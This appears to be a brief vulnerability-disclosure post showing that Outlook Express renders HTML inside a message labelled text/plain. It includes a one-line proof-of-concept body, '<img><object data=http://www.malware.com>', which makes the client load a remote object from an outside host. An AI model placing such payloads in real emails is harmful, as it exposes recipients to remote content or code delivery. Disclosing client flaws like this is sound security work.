<!-- The headers of your example Email message quite clearly claim the message is multipart/alternative and the first part (with the "incomplete" OBJECT tag) is text/html. Thus, although the body of that MIME component is not a properly formed, complete HTML document, the MIME Content-Type: headers provide a fairly strong basis for the MUA treating that message component as HTML and displaying it accordingly. --> and the Outlook Express unique ability to still do the impossible unpatched after three years: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit <img><object data=http://www.malware.com> -- http://www.malware.com